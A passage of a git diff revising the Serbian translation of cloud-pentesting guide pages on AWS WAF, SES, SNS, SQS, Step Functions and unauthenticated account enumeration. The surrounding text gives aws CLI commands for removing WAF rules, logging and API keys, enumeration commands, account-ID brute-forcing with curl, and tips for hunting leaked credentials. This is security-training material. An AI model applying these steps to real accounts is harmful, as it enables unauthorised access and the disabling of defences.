bezbednosne zaštite, izlažući resurse ranjivostima bez detekcije. Dodatne dozvole bi bile potrebne u zavisnosti od tipa zaštićenog resursa: @@ -357,7 +357,7 @@ aws wafv2 associate-web-acl --web-acl-arn --resource-arn # Disassociate aws wafv2 disassociate-web-acl --resource-arn ``` -**Potencijalni uticaj**: Kompromitovana sigurnost resursa, povećan rizik od eksploatacije i potencijalni prekidi usluga unutar AWS okruženja zaštićenih AWS WAF-om. +**Potencijalni uticaj**: Kompromitovana sigurnost resursa, povećan rizik od eksploatacije i potencijalne prekide usluga unutar AWS okruženja zaštićenih AWS WAF-om. #### **`wafv2:CreateIPSet` , `wafv2:UpdateIPSet`, `wafv2:DeleteIPSet`** @@ -380,9 +380,9 @@ aws wafv2 update-ip-set --name LegitimateIPv4Set --id 1a2b3c4d-1a2b-1a2b-1a2b-1a Napadač sa ovim dozvolama mogao bi da manipuliše skupovima obrazaca regularnih izraza koje koristi AWS WAF za kontrolu i filtriranje dolaznog saobraćaja na osnovu specifičnih obrazaca. -- Kreiranje novih regex obrazaca bi pomoglo napadaču da dozvoli štetan sadržaj +- Kreiranje novih regex obrazaca bi pomoglo napadaču da dozvoli štetni sadržaj - Ažuriranjem postojećih obrazaca, napadač bi mogao da zaobiđe sigurnosna pravila -- Brisanje obrazaca koji su dizajnirani da blokiraju zlonamerne aktivnosti moglo bi omogućiti napadaču da pošalje zlonamerne payload-ove i zaobiđe sigurnosne mere. +- Brisanje obrazaca koji su dizajnirani da blokiraju zlonamerne aktivnosti moglo bi omogućiti napadaču da pošalje zlonamerne terete i zaobiđe sigurnosne mere. ```bash # Create regex pattern set aws wafv2 create-regex-pattern-set --name --regular-expression-list --scope | CLOUDFRONT --region=us-east-1> [--description ] @@ -391,7 +391,7 @@ aws wafv2 update-regex-pattern-set --name --id --regular-express # Delete regex pattern set aws wafv2 delete-regex-pattern-set --name --scope | CLOUDFRONT --region=us-east-1> --id --lock-token ``` -**Potencijalni uticaj**: Obilaženje bezbednosnih kontrola, omogućavanje zlonamernog sadržaja i potencijalno izlaganje osetljivih podataka ili ometanje usluga i resursa zaštićenih AWS WAF-om. +**Potencijalni uticaj**: Zaobilaženje bezbednosnih kontrola, omogućavanje zlonamernog sadržaja i potencijalno izlaganje osetljivih podataka ili ometanje usluga i resursa zaštićenih AWS WAF-om. #### **(`wavf2:PutLoggingConfiguration` &** `iam:CreateServiceLinkedRole`), **`wafv2:DeleteLoggingConfiguration`** @@ -401,9 +401,9 @@ Tokom procesa kreiranja, servis automatski postavlja potrebne dozvole da omoguć - **Amazon CloudWatch Logs:** AWS WAF kreira politiku resursa na određenoj CloudWatch Logs log grupi. Ova politika osigurava da AWS WAF ima potrebne dozvole za pisanje logova u log grupu. - **Amazon S3 Bucket:** AWS WAF kreira politiku bucket-a na određenom S3 bucket-u. Ova politika dodeljuje AWS WAF-u potrebne dozvole za upload logova u specificirani bucket. -- **Amazon Kinesis Data Firehose:** AWS WAF kreira ulogu povezanu sa servisom posebno za interakciju sa Kinesis Data Firehose. Ova uloga omogućava AWS WAF-u da isporučuje logove u konfigurisan Firehose stream. +- **Amazon Kinesis Data Firehose:** AWS WAF kreira ulogu povezanu sa servisom specifično za interakciju sa Kinesis Data Firehose. Ova uloga omogućava AWS WAF-u da isporučuje logove u konfigurisan Firehose stream. -> [!NOTE] +> [!NAPOMENA] > Moguće je definisati samo jednu destinaciju logovanja po web ACL-u. ```bash # Put logging configuration @@ -411,16 +411,16 @@ aws wafv2 put-logging-configuration --logging-configuration # Delete logging configuration aws wafv2 delete-logging-configuration --resource-arn [--log-scope ] [--log-type ] ``` -**Potencijalni Uticaj:** Zamagljena vidljivost u bezbednosne događaje, otežan proces odgovora na incidente i olakšavanje tajnih zlonamernih aktivnosti unutar AWS WAF-zaštićenih okruženja. +**Potencijalni uticaj:** Zamagljena vidljivost u bezbednosne događaje, otežan proces odgovora na incidente i olakšavanje tajnih zlonamernih aktivnosti unutar AWS WAF-zaštićenih okruženja. #### **`wafv2:DeleteAPIKey`** -Napadač sa ovim dozvolama bi mogao da obriše postojeće API ključeve, čineći CAPTCHA neefikasnim i ometajući funkcionalnost koja se na njemu oslanja, kao što su slanje obrazaca i kontrole pristupa. U zavisnosti od implementacije ovog CAPTCHA, to bi moglo dovesti ili do zaobilaženja CAPTCHA ili do DoS-a ako upravljanje greškama nije pravilno postavljeno u resursu. +Napadač sa ovim dozvolama mogao bi da obriše postojeće API ključeve, čineći CAPTCHA neefikasnim i ometajući funkcionalnost koja se na njemu oslanja, kao što su slanje obrazaca i kontrole pristupa. U zavisnosti od implementacije ovog CAPTCHA, to bi moglo dovesti do zaobilaženja CAPTCHA ili do DoS-a ako upravljanje greškama nije pravilno postavljeno u resursu. ```bash # Delete API key aws wafv2 delete-api-key --api-key --scope | CLOUDFRONT --region=us-east-1> ``` -**Potencijalni uticaj**: Onemogućavanje CAPTCHA zaštita ili ometanje funkcionalnosti aplikacije, što može dovesti do bezbednosnih propusta i potencijalne krađe podataka. +**Potencijalni uticaj**: Onemogućavanje CAPTCHA zaštita ili ometanje funkcionalnosti aplikacije, što dovodi do bezbednosnih propusta i potencijalne krađe podataka. #### **`wafv2:TagResource`, `wafv2:UntagResource`** @@ -431,7 +431,7 @@ aws wafv2 tag-resource --resource-arn --tags # Untag aws wafv2 untag-resource --resource-arn --tag-keys ``` -**Potencijalni uticaj**: Manipulacija resursima, curenje informacija, manipulacija troškovima i operativna prekid. +**Potencijalni uticaj**: Manipulacija resursima, curenje informacija, manipulacija troškovima i operativne smetnje. ## Reference diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md index d4843b0fc..66eb1d54d 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md @@ -10,7 +10,7 @@ Potrebno je registrovati **identitete**, koji mogu biti domeni ili email adrese ### SMTP korisnik -Moguće je povezati se na **SMTP server AWS-a da bi se izvršile radnje** umesto korišćenja AWS API-ja (ili pored njega). Za to je potrebno kreirati korisnika sa politikom kao što je: +Moguće je povezati se na **SMTP server AWS-a da bi se izvršavale radnje** umesto korišćenja AWS API-ja (ili pored njega). Za to je potrebno kreirati korisnika sa politikom kao što je: ```json { "Version": "2012-10-17", @@ -23,7 +23,7 @@ Moguće je povezati se na **SMTP server AWS-a da bi se izvršile radnje** umesto ] } ``` -Zatim, prikupite **API ključ i tajnu** korisnika i pokrenite: +Zatim prikupite **API ključ i tajnu** korisnika i pokrenite: ```bash git clone https://github.com/lisenet/ses-smtp-converter.git cd ./ses-smtp-converter @@ -32,10 +32,10 @@ chmod u+x ./ses-smtp-conv.sh ``` Takođe je moguće to uraditi iz AWS konzole na vebu. -### Enumeration +### Enumeracija > [!WARNING] -> Imajte na umu da SES ima 2 API-ja: **`ses`** i **`sesv2`**. Neke akcije su u oba API-ja, a druge su samo u jednom od ta dva. +> Imajte na umu da SES ima 2 API-ja: **`ses`** i **`sesv2`**. Neke akcije su u oba API-ja, a druge su samo u jednom od njih. ```bash # Get info about the SES account aws sesv2 get-account @@ -112,7 +112,7 @@ aws ses get-send-quota ## Get statistics aws ses get-send-statistics ``` -### Post Exploitation +### Post Eksploatacija {{#ref}} ../aws-post-exploitation/aws-ses-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md index c94641f8a..b804d0a52 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md @@ -4,14 +4,14 @@ ## SNS -Amazon Simple Notification Service (Amazon SNS) se opisuje kao **potpuno upravljana usluga za razmenu poruka**. Podržava i **komunikacione tipove između aplikacija** (A2A) i **komunikacione tipove između aplikacije i osobe** (A2P). +Amazon Simple Notification Service (Amazon SNS) se opisuje kao **potpuno upravljana usluga za razmenu poruka**. Podržava **komunikacione tipove između aplikacija** (A2A) i **komunikacione tipove između aplikacije i osobe** (A2P). Ključne karakteristike za A2A komunikaciju uključuju **mehanizme objavljivanja/pretplate (pub/sub)**. Ovi mehanizmi uvode **teme**, koje su ključne za omogućavanje visoke propusnosti, **push-bazirane, mnoge-na-mnoge razmene poruka**. Ova funkcija je veoma korisna u scenarijima koji uključuju distribuirane sisteme, mikroservise i arhitekture bez servera zasnovane na događajima. Korišćenjem ovih tema, sistemi za objavljivanje mogu efikasno distribuirati poruke širokom spektru sistema za pretplatu, olakšavajući obrazac razmene poruka. ### **Razlika sa SQS** **SQS** je **usluga zasnovana na redovima** koja omogućava komunikaciju tačka-tačka, osiguravajući da poruke obrađuje **jedan potrošač**. Nudi **isporuku najmanje jednom**, podržava standardne i FIFO redove, i omogućava zadržavanje poruka za ponovne pokušaje i odloženu obradu.\ -S druge strane, **SNS** je **usluga zasnovana na objavljivanju/pretplati**, koja omogućava **jedan-na-mnoge** komunikaciju emitovanjem poruka **više pretplatnika** istovremeno. Podržava **različite tačke pretplate kao što su email, SMS, Lambda funkcije i HTTP/HTTPS**, i pruža mehanizme filtriranja za ciljanje isporuke poruka.\ +S druge strane, **SNS** je **usluga zasnovana na objavljivanju/pretplati**, omogućavajući **jedan-na-mnoge** komunikaciju emitovanjem poruka **više pretplatnika** istovremeno. Podržava **različite krajnje tačke pretplate kao što su email, SMS, Lambda funkcije i HTTP/HTTPS**, i pruža mehanizme filtriranja za ciljanje isporuke poruka.\ Dok obe usluge omogućavaju odvajanje između komponenti u distribuiranim sistemima, SQS se fokusira na komunikaciju putem redova, dok SNS naglašava komunikacione obrasce zasnovane na događajima i širenju. ### **Enumeracija** @@ -64,7 +64,7 @@ aws sns subscribe --region \ ../aws-post-exploitation/aws-sns-post-exploitation.md {{#endref}} -#### Postojanost +#### Perzistencija {{#ref}} ../aws-persistence/aws-sns-persistence.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md index 3010de373..0ea6be685 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md @@ -4,7 +4,7 @@ ## SQS -Amazon Simple Queue Service (SQS) se predstavlja kao **potpuno upravljana usluga za redove poruka**. Njegova glavna funkcija je da pomogne u skaliranju i odvojenju mikroservisa, distribuiranih sistema i serverless aplikacija. Usluga je dizajnirana da ukloni potrebu za upravljanjem i radom sa middleware-om orijentisanim na poruke, što može često biti složeno i resursno intenzivno. Ova eliminacija složenosti omogućava programerima da usmere svoje napore ka inovativnijim i diferenciranim aspektima svog rada. +Amazon Simple Queue Service (SQS) se predstavlja kao **potpuno upravljana usluga za redove poruka**. Njegova glavna funkcija je da pomogne u skaliranju i odvojenju mikroservisa, distribuiranih sistema i serverless aplikacija. Usluga je dizajnirana da eliminiše potrebu za upravljanjem i radom sa middleware-om orijentisanim na poruke, što može često biti složeno i resursno intenzivno. Ova eliminacija složenosti omogućava programerima da usmere svoje napore ka inovativnijim i diferenciranim aspektima svog rada. ### Enumeration ```bash @@ -38,7 +38,7 @@ aws sqs send-message --queue-url --message-body ../aws-post-exploitation/aws-sqs-post-exploitation.md {{#endref}} -#### Postojanost +#### Perzistencija {{#ref}} ../aws-persistence/aws-sqs-persistence.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md index 4697b6891..1cd787175 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md @@ -12,24 +12,24 @@ AWS Step Functions je servis za radne tokove koji vam omogućava da koordinirate AWS Step Functions nudi dva tipa **state machine workflows**: Standardni i Express. -- **Standardni Radni Tok**: Ova podrazumevana vrsta radnog toka je dizajnirana za dugotrajne, trajne i auditable procese. Podržava **exactly-once execution**, osiguravajući da se zadaci izvršavaju samo jednom osim ako nisu navedeni ponovni pokušaji. Idealna je za radne tokove koji zahtevaju detaljnu istoriju izvršenja i može trajati do jedne godine. -- **Express Radni Tok**: Ova vrsta je idealna za zadatke visokog obima i kratkog trajanja, koji traju do pet minuta. Podržavaju **at-least-once execution**, pogodna za idempotentne zadatke kao što je obrada podataka. Ovi radni tokovi su optimizovani za troškove i performanse, naplaćujući se na osnovu izvršenja, trajanja i korišćenja memorije. +- **Standardni Radni Tok**: Ova podrazumevana vrsta radnog toka je dizajnirana za dugotrajne, izdržljive i auditable procese. Podržava **tačno-jednom izvršenje**, osiguravajući da se zadaci izvršavaju samo jednom osim ako nisu navedeni ponovni pokušaji. Idealna je za radne tokove koji zahtevaju detaljnu istoriju izvršenja i može trajati do jedne godine. +- **Express Radni Tok**: Ova vrsta je idealna za zadatke visokog obima i kratkog trajanja, koji traju do pet minuta. Podržavaju **barem-jednom izvršenje**, pogodno za idempotentne zadatke kao što je obrada podataka. Ovi radni tokovi su optimizovani za troškove i performanse, naplaćujući na osnovu izvršenja, trajanja i korišćenja memorije. ### Stanja -Stanja su osnovne jedinice state mašina. Ona definišu pojedinačne korake unutar radnog toka, mogući su da izvršavaju razne funkcije u zavisnosti od tipa: +Stanja su osnovne jedinice state mašina. Definišu pojedinačne korake unutar radnog toka, mogući su da izvršavaju razne funkcije u zavisnosti od tipa: -- **Task:** Izvršava posao, često koristeći AWS servis kao što je Lambda. -- **Choice:** Donosi odluke na osnovu ulaza. -- **Fail/Succeed:** Završava izvršenje neuspehom ili uspehom. -- **Pass:** Prosleđuje ulaz na izlaz ili ubacuje podatke. -- **Wait:** Odlaže izvršenje na određeno vreme. -- **Parallel:** Pokreće paralelne grane. -- **Map:** Dinamički iterira korake preko stavki. +- **Zadatak:** Izvršava posao, često koristeći AWS servis kao što je Lambda. +- **Izbor:** Donosi odluke na osnovu ulaza. +- **Neuspeh/Uspjeh:** Završava izvršenje neuspehom ili uspehom. +- **Prolaz:** Prolazi ulaz u izlaz ili ubacuje podatke. +- **Čekanje:** Odlaže izvršenje na određeno vreme. +- **Paralelno:** Pokreće paralelne grane. +- **Mapiranje:** Dinamički iterira korake preko stavki. -### Task +### Zadatak -**Task** stanje predstavlja jednu jedinicu posla koju izvršava state mašina. Zadaci mogu pozivati različite resurse, uključujući aktivnosti, Lambda funkcije, AWS servise ili API-je trećih strana. +**Zadatak** stanje predstavlja jednu jedinicu posla koju izvršava state mašina. Zadatci mogu pozivati različite resurse, uključujući aktivnosti, Lambda funkcije, AWS servise ili API-je trećih strana. - **Aktivnosti**: Prilagođeni radnici koje upravljate, pogodni za dugotrajne procese. - Resurs: **`arn:aws:states:region:account:activity:name`**. @@ -37,10 +37,10 @@ Stanja su osnovne jedinice state mašina. Ona definišu pojedinačne korake unut - Resurs: **`arn:aws:lambda:region:account:function:function-name`**. - **AWS Servisi**: Integrira se direktno sa drugim AWS servisima, kao što su DynamoDB ili S3. - Resurs: **`arn:partition:states:region:account:servicename:APIname`**. -- **HTTP Task**: Poziva API-je trećih strana. -- Polje resursa: **`arn:aws:states:::http:invoke`**. Zatim, trebate navesti detalje konfiguracije API krajnje tačke, kao što su API URL, metoda i detalji autentifikacije. +- **HTTP Zadatak**: Poziva API-je trećih strana. +- Polje resursa: **`arn:aws:states:::http:invoke`**. Zatim, trebate pružiti detalje konfiguracije API krajnje tačke, kao što su API URL, metoda i detalji autentifikacije. -Sledeći primer prikazuje definiciju Task stanja koja poziva Lambda funkciju pod nazivom HelloWorld: +Sledeći primer prikazuje definiciju Zadatka koja poziva Lambda funkciju pod nazivom HelloWorld: ```json "HelloWorld": { "Type": "Task", @@ -54,12 +54,12 @@ Sledeći primer prikazuje definiciju Task stanja koja poziva Lambda funkciju pod ``` ### Choice -**Choice** stanje dodaje uslovnu logiku u radni tok, omogućavajući odluke na osnovu ulaznih podataka. Evaluira navedene uslove i prelazi u odgovarajuće stanje na osnovu rezultata. +A **Choice** state dodaje uslovnu logiku u radni tok, omogućavajući odluke na osnovu ulaznih podataka. Evaluira navedene uslove i prelazi u odgovarajuću državu na osnovu rezultata. -- **Comparison**: Svako pravilo izbora uključuje operator poređenja (npr., **`NumericEquals`**, **`StringEquals`**) koji upoređuje ulaznu promenljivu sa navedenom vrednošću ili drugom promenljivom. -- **Next Field**: Choice stanja ne podržavaju **`End`** polje, umesto toga definišu **`Next`** stanje u koje prelaze ako je poređenje tačno. +- **Comparison**: Svako pravilo izbora uključuje operator poređenja (npr., **`NumericEquals`**, **`StringEquals`**) koji upoređuje ulaznu promenljivu sa određenom vrednošću ili drugom promenljivom. +- **Next Field**: Choice states ne podržavaju **`End`** polje, umesto toga definišu **`Next`** stanje u koje će preći ako je poređenje tačno. -Primer **Choice** stanja: +Primer **Choice** state: ```json { "Variable": "$.timeStamp", @@ -71,7 +71,7 @@ Primer **Choice** stanja: A **`Fail`** stanje zaustavlja izvršenje mašine stanja i označava je kao neuspeh. Koristi se za specificiranje imena greške i uzroka, pružajući detalje o neuspehu. Ovo stanje je terminalno, što znači da završava tok izvršenja. -A **`Succeed`** stanje uspešno zaustavlja izvršenje. Obično se koristi za prekid radnog toka kada se uspešno završi. Ovo stanje ne zahteva **`Next`** polje. +A **`Succeed`** stanje uspešno zaustavlja izvršenje. Obično se koristi za završavanje radnog toka kada se uspešno završi. Ovo stanje ne zahteva **`Next`** polje. {{#tabs }} {{#tab name="Fail example" }} @@ -95,7 +95,7 @@ A **`Succeed`** stanje uspešno zaustavlja izvršenje. Obično se koristi za pre ### Pass -**Pass** stanje prosleđuje svoj ulaz svom izlazu ili bez obavljanja bilo kakvog posla ili transformišući JSON ulaz stanja koristeći filtre, a zatim prosleđuje transformisane podatke sledećem stanju. Korisno je za testiranje i konstruisanje stanja mašina, omogućavajući vam da ubacite statičke podatke ili ih transformišete. +**Pass** stanje prosleđuje svoj ulaz na svoj izlaz ili bez obavljanja bilo kakvog posla ili transformišući JSON ulaz stanja koristeći filtre, a zatim prosleđuje transformisane podatke sledećem stanju. Korisno je za testiranje i konstruisanje stanja mašina, omogućavajući vam da ubacite statičke podatke ili ih transformišete. ```json "PassState": { "Type": "Pass", @@ -106,7 +106,7 @@ A **`Succeed`** stanje uspešno zaustavlja izvršenje. Obično se koristi za pre ``` ### Wait -A **Wait** stanje odlaže izvršenje mašine stanja na određeni vremenski period. Postoje tri osnovne metode za podešavanje vremena čekanja: +**Wait** stanje odlaže izvršenje mašine stanja na određeni vremenski period. Postoje tri osnovne metode za podešavanje vremena čekanja: - **X Sekundi**: Fiksan broj sekundi za čekanje. @@ -141,11 +141,11 @@ jsonCopiar código ### Parallel -A **Parallel** stanje omogućava vam da izvršavate više grana zadataka istovremeno unutar vašeg radnog toka. Svaka grana se izvršava nezavisno i obrađuje svoju vlastitu sekvencu stanja. Izvršenje čeka dok sve grane ne završe pre nego što pređe na sledeće stanje. Njegova ključna polja su: +**Parallel** stanje omogućava vam da izvršavate više grana zadataka istovremeno unutar vašeg radnog toka. Svaka grana se izvršava nezavisno i obrađuje svoju vlastitu sekvencu stanja. Izvršenje čeka dok sve grane ne završe pre nego što pređe na sledeće stanje. Njegova ključna polja su: -- **Grane**: Niz koji definiše paralelne putanje izvršenja. Svaka grana je posebna mašina stanja. +- **Branches**: Niz koji definiše paralelne putanje izvršenja. Svaka grana je posebna mašina stanja. - **ResultPath**: Definiše gde (u ulazu) da se postavi kombinovani izlaz grana. -- **Retry i Catch**: Konfiguracije za obradu grešaka za paralelno stanje. +- **Retry and Catch**: Konfiguracije za obradu grešaka za paralelno stanje. ```json "ParallelState": { "Type": "Parallel", @@ -164,9 +164,9 @@ A **Parallel** stanje omogućava vam da izvršavate više grana zadataka istovre ``` ### Map -A **Map** stanje omogućava izvršavanje skupa koraka za svaki predmet u skupu podataka. Koristi se za paralelnu obradu podataka. U zavisnosti od toga kako želite da obradite stavke skupa podataka, Step Functions pruža sledeće režime: +**Map** stanje omogućava izvršavanje skupa koraka za svaki element u skupu podataka. Koristi se za paralelno procesiranje podataka. U zavisnosti od toga kako želite da obradite stavke skupa podataka, Step Functions pruža sledeće režime: -- **Inline Mode**: Izvršava podskup stanja za svaki predmet JSON niza. Pogodno za male zadatke sa manje od 40 paralelnih iteracija, izvršavajući svaku od njih u kontekstu radnog toka koji sadrži **`Map`** stanje. +- **Inline Mode**: Izvršava podskup stanja za svaki JSON niz stavki. Pogodno za male zadatke sa manje od 40 paralelnih iteracija, izvršavajući svaku od njih u kontekstu radnog toka koji sadrži **`Map`** stanje. ```json "MapState": { @@ -195,7 +195,7 @@ A **Map** stanje omogućava izvršavanje skupa koraka za svaki predmet u skupu p } ``` -- **Distributed Mode**: Dizajniran za obradu velikih razmera sa visokom konkurencijom. Podržava obradu velikih skupova podataka, kao što su oni pohranjeni u Amazon S3, omogućavajući visoku konkurenciju do 10,000 paralelnih izvršavanja radnog toka, izvršavajući ove decu kao odvojeno izvršavanje. +- **Distributed Mode**: Dizajniran za paralelno procesiranje velikih razmera sa visokom konkurencijom. Podržava obradu velikih skupova podataka, kao što su oni pohranjeni u Amazon S3, omogućavajući visoku konkurenciju do 10,000 paralelnih izvršavanja radnog toka, izvršavajući ove decu kao odvojeno izvršavanje. ```json "DistributedMapState": { @@ -234,19 +234,19 @@ A **Map** stanje omogućava izvršavanje skupa koraka za svaki predmet u skupu p ### Versions and aliases -Step Functions takođe omogućava upravljanje implementacijama radnog toka kroz **verzije** i **alias** mašina stanja. Verzija predstavlja snimak mašine stanja koji može biti izvršen. Alias služi kao pokazivač na do dve verzije mašine stanja. +Step Functions takođe omogućava upravljanje implementacijama radnog toka kroz **versions** i **aliases** mašine stanja. Verzija predstavlja snimak mašine stanja koji može biti izvršen. Alias služi kao pokazivač na do dve verzije mašine stanja. - **Versions**: Ovi nepromenljivi snimci mašine stanja kreiraju se iz najnovije revizije te mašine stanja. Svaka verzija se identifikuje jedinstvenim ARN-om koji kombinuje ARN mašine stanja sa brojem verzije, odvojenim dvotačkom (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:version-number`**). Verzije se ne mogu uređivati, ali možete ažurirati mašinu stanja i objaviti novu verziju, ili koristiti željenu verziju mašine stanja. -- **Aliases**: Ovi pokazivači mogu referencirati do dve verzije iste mašine stanja. Više alias-a može biti kreirano za jednu mašinu stanja, svaki identifikovan jedinstvenim ARN-om konstruisanim kombinovanjem ARN mašine stanja sa imenom alias-a, odvojenim dvotačkom (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:aliasName`**). Alias omogućava usmeravanje saobraćaja između jedne od dve verzije mašine stanja. Alternativno, alias može ukazivati na jednu specifičnu verziju mašine stanja, ali ne na druge alias-e. Mogu se ažurirati da preusmere na drugu verziju mašine stanja po potrebi, olakšavajući kontrolisane implementacije i upravljanje radnim tokom. +- **Aliases**: Ovi pokazivači mogu referencirati do dve verzije iste mašine stanja. Više aliasa može biti kreirano za jednu mašinu stanja, svaki identifikovan jedinstvenim ARN-om konstruisanim kombinovanjem ARN mašine stanja sa imenom aliasa, odvojenim dvotačkom (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:aliasName`**). Aliasi omogućavaju usmeravanje saobraćaja između jedne od dve verzije mašine stanja. Alternativno, alias može ukazivati na jednu specifičnu verziju mašine stanja, ali ne na druge alias-e. Mogu se ažurirati da preusmere na drugu verziju mašine stanja po potrebi, olakšavajući kontrolisane implementacije i upravljanje radnim tokom. Za detaljnije informacije o **ASL**, proverite: [**Amazon States Language**](https://states-language.net/spec.html). ## IAM Roles for State machines -AWS Step Functions koristi AWS Identity and Access Management (IAM) uloge za kontrolu pristupa resursima i akcijama unutar mašina stanja. Evo ključnih aspekata vezanih za bezbednost i IAM uloge u AWS Step Functions: +AWS Step Functions koristi AWS Identity and Access Management (IAM) uloge za kontrolu pristupa resursima i akcijama unutar mašine stanja. Evo ključnih aspekata vezanih za bezbednost i IAM uloge u AWS Step Functions: -- **Execution Role**: Svaka mašina stanja u AWS Step Functions je povezana sa IAM ulogom izvršenja. Ova uloga definiše koje akcije mašina stanja može izvesti u vaše ime. Kada mašina stanja prelazi između stanja koja komuniciraju sa AWS uslugama (kao što je pozivanje Lambda funkcija, pristup DynamoDB, itd.), preuzima ovu ulogu izvršenja da bi izvršila te akcije. -- **Permissions**: IAM uloga izvršenja mora biti konfigurisana sa dozvolama koje omogućavaju neophodne akcije na drugim AWS uslugama. Na primer, ako vaša mašina stanja treba da pozove AWS Lambda funkcije, IAM uloga mora imati **`lambda:InvokeFunction`** dozvole. Slično, ako treba da piše u DynamoDB, odgovarajuće dozvole (**`dynamodb:PutItem`**, **`dynamodb:UpdateItem`**, itd.) moraju biti dodeljene. +- **Execution Role**: Svaka mašina stanja u AWS Step Functions je povezana sa IAM ulogom za izvršenje. Ova uloga definiše koje akcije mašina stanja može izvesti u vaše ime. Kada mašina stanja prelazi između stanja koja komuniciraju sa AWS uslugama (kao što je pozivanje Lambda funkcija, pristupanje DynamoDB, itd.), preuzima ovu ulogu za izvršenje da bi izvršila te akcije. +- **Permissions**: IAM uloga za izvršenje mora biti konfigurisana sa dozvolama koje omogućavaju neophodne akcije na drugim AWS uslugama. Na primer, ako vaša mašina stanja treba da pozove AWS Lambda funkcije, IAM uloga mora imati **`lambda:InvokeFunction`** dozvole. Slično, ako treba da piše u DynamoDB, odgovarajuće dozvole (**`dynamodb:PutItem`**, **`dynamodb:UpdateItem`**, itd.) moraju biti dodeljene. ## Enumeration @@ -299,7 +299,7 @@ aws stepfunctions list-executions --map-run-arn [--status-filter ``` ### Privesc -Na sledećoj stranici možete proveriti kako da **zloupotrebite dozvole eventbridge scheduler-a za eskalaciju privilegija**: +Na sledećoj stranici možete proveriti kako da **zloupotrebite eventbridge scheduler dozvole za eskalaciju privilegija**: {{#ref}} ../aws-privilege-escalation/eventbridgescheduler-privesc.md diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md index fc9bdb796..57808d7d0 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md @@ -4,7 +4,7 @@ ## AWS Kredencijali Curjenja -Uobičajen način za dobijanje pristupa ili informacija o AWS nalogu je **pretraživanje curenja**. Možete pretraživati curenja koristeći **google dorks**, proveravajući **javne repozitorijume** **organizacije** i **radnika** organizacije na **Github-u** ili drugim platformama, pretražujući u **bazama podataka o curenjima kredencijala**... ili na bilo kojem drugom mestu gde mislite da biste mogli pronaći informacije o kompaniji i njenoj cloud infrastrukturi.\ +Uobičajen način da se dobije pristup ili informacije o AWS nalogu je **pretraživanje curenja**. Možete pretraživati curenja koristeći **google dorks**, proveravajući **javne repozitorijume** organizacije i **radnike** organizacije na **Githubu** ili drugim platformama, pretražujući u **bazama podataka o curenjima kredencijala**... ili na bilo kojem drugom mestu gde mislite da biste mogli pronaći informacije o kompaniji i njenoj cloud infrastrukturi.\ Neki korisni **alati**: - [https://github.com/carlospolop/leakos](https://github.com/carlospolop/leakos) @@ -36,7 +36,7 @@ Postoji nekoliko usluga u AWS-u koje mogu biti konfigurisane tako da daju neku v ## Napadi Preko Naloga -U predavanju [**Rušenje Izolacije: AWS Ranljivosti Preko Naloga**](https://www.youtube.com/watch?v=JfEFIcpJ2wk) prikazano je kako neke usluge omogućavaju bilo kojem AWS nalogu pristup njima jer su **AWS usluge bez specificiranja ID-a naloga** bile dozvoljene. +U predavanju [**Rušenje Izolacije: Cross-Account AWS Ranljivosti**](https://www.youtube.com/watch?v=JfEFIcpJ2wk) prikazano je kako neke usluge omogućavaju bilo kojem AWS nalogu pristup jer su **AWS usluge bez specificiranja ID-a naloga** bile dozvoljene. Tokom predavanja navode se nekoliko primera, kao što su S3 bucket-i **koji omogućavaju cloudtrail** (bilo kojem **AWS** nalogu) da **pišu u njih**: diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md index 49b66d9bb..d5ce3148c 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md @@ -1,14 +1,14 @@ -# AWS - Accounts Unauthenticated Enum +# AWS - Računi Neautentifikovana Enum {{#include ../../../banners/hacktricks-training.md}} -## ID-ovi naloga +## ID Računa -Ako imate cilj, postoje načini da pokušate da identifikujete ID-ove naloga koji su povezani sa ciljem. +Ako imate cilj, postoje načini da pokušate da identifikujete ID računa povezanih sa ciljem. ### Brute-Force -Kreirate listu potencijalnih ID-ova naloga i aliasa i proveravate ih. +Kreirate listu potencijalnih ID računa i aliasa i proveravate ih. ```bash # Check if an account ID exists curl -v https://.signin.aws.amazon.com @@ -28,15 +28,15 @@ Ako prodavac ima **instance na tržištu,** možete dobiti id vlasnika (id raču ### Snapshots -- Javne EBS snimke (EC2 -> Snapshots -> Public Snapshots) -- RDS javne snimke (RDS -> Snapshots -> All Public Snapshots) -- Javne AMI (EC2 -> AMIs -> Public images) +- Javni EBS snapshots (EC2 -> Snapshots -> Public Snapshots) +- RDS javni snapshots (RDS -> Snapshots -> All Public Snapshots) +- Javni AMI (EC2 -> AMIs -> Public images) -### Errors +### Greške -Mnoge AWS poruke o grešci (čak i pristup odbijen) će dati te informacije. +Mnoge AWS poruke o greškama (čak i pristup odbijen) će dati te 